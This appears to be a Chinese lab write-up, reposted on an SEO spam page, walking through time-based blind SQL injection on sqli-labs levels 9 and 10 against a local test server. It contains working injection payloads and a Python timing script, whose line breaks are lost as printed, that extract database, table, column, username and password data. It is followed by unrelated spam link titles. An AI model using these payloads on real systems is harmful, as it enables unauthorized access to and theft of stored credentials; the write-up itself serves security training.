当前位置: 首页 > news >正文

在唐山做网站多少钱千锋教育培训多少钱费用

在唐山做网站多少钱,千锋教育培训多少钱费用,旅行社网站规划与建设,阿里云编辑建设好的网站第九关: 这一关相比第八关,第八关他正确显示you are in,错误不显示you are in,但是第九关你不管是输入正确或者错误都显示 you are in ,这个时候布尔盲注就不适合我们用,所以我们的换一下思路,布尔盲注适合页面对于错误和正确结果…

第九关:

这一关相比第八关,第八关他正确显示you are in,错误不显示you are in,但是第九关你不管是输入正确或者错误都显示 you are in ,这个时候布尔盲注就不适合我们用,所以我们的换一下思路,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以考虑使用时间盲注。

判断注入点

             基于时间的注入(延时注入)

             1. Time-based blind SQL injection
                2.利用前提:页面没有显示位,也没有输入SQL语句执行错误信息,正确的SQL语句和错误的返回页面都一样,但
                是加入sleep(5)条件后,正确的SQL语句页面返回速度明显慢了5秒,错误的SQL语句立即返回。
                3.优点:不需要显示位,不需要报错信息。
                4.缺点:速度慢,耗费大量时间
                5.用法:IF(Condition,A,B)函数
                当Condition为TRUE时,返回A;否则返回B。     
                6.示例:    SELECT * FROM users WHERE id=1 AND IF(ASCII(SUBSTR(USER(),1,1))>65 ,SLEEP(5),1);     
 

?id=1' and sleep(3) --+          有明显延迟
?id=1" and sleep(3) --+          无延迟
?id=1') and sleep(3) --+         无延迟

说明这里的闭合是单引号。   位数暂时不判断了,用脚本的话不需要位数

当请求错误时,延迟时间在3S以后

当请求正确时,延迟时间很短,在3S以内

基于这个我们就可以写脚本来帮助我们注入

import time
import requests
url = "http://127.0.0.1/sqli-labs-php7-master/Less-9/index.php"
#二分法
def inject_database(url):name=""for i in range(1,20):low =32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr(database(),%d,1)) > %d,sleep(1),0)-- " % (i, mid)params = {"id": payload}start_time = time.time()r = requests.get(url,params=params)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)inject_database(url)

有点慢,但是也是成功拿下数据

下边的操作和之前的一样

爆表

payload = "1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),%d,1)) > %d,sleep(1),0)-- " % (i, mid) 

爆字段

payload = "1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)

username,password

payload = "1' and if(ascii(substr((select group_concat(username) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)

            payload = "1' and if(ascii(substr((select group_concat(password) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)

拿下

第十关:

和第九关不一样的就是这里是双引号

还是时间盲注,稍微修改,直接使用

 

成功拿到数据库 ,后边的操作都是如法炮制!!!

http://www.hrbkazy.com/news/46483.html

相关文章:

  • 有做网站设计的吗刷赞业务推广网站
  • 甘肃锦华建设集团网站免费刷推广链接的网站
  • 深圳建网站哪个济南兴田德润有活动吗简述网站建设的流程
  • 上海网站备案核验单状态查询设计网站接单
  • win7 asp.net 网站发布做网络推广工作怎么样
  • 做合约交易哪个网站好深圳做网站公司哪家好
  • WordPress瀑布流商店博客百度seo霸屏软件
  • 专门做美甲的网站中国大数据平台官网
  • 晋州 网站建设 网络推广小程序商城制作一个需要多少钱
  • 网站开发网推广公司品牌
  • 公司做网站费用和人员配备产品软文
  • 网站qq线客服咋做互联网营销师培训课程免费
  • 福州专业做网站公司疫情防控最新通告
  • 2024年疫情还可能再次爆发长沙网站优化价格
  • 做pc端网站必知热点事件营销案例
  • 个人 申请域名做网站网站优化排名软件网
  • 河北建设网官方网站淘宝摄影培训推荐
  • 专业网站建设哪个好磁力搜索
  • 桂林小程序制作郑州seo优化顾问
  • 新乡做网站推广宁波优化网站哪家好
  • 网站后台加什么后缀微信营销方式有哪些
  • 建设部网站1667号公告站长之家seo
  • 国外电子政务j建设与我国电子政务网站建设对比怎么做产品推广和宣传
  • 门户网站设计方案网络营销的分类
  • 怎么批量修改wordpress文章内容网店关键词怎么优化
  • 大连做网站孙晓龙山西疫情最新情况
  • 肥乡专业做网站谷歌play
  • 免费做效果图的网站免费观看短视频的app软件推荐
  • 网站建设项目功能需求分析报告如何做网络宣传推广
  • 怎建立自己网站做淘宝客霸屏seo服务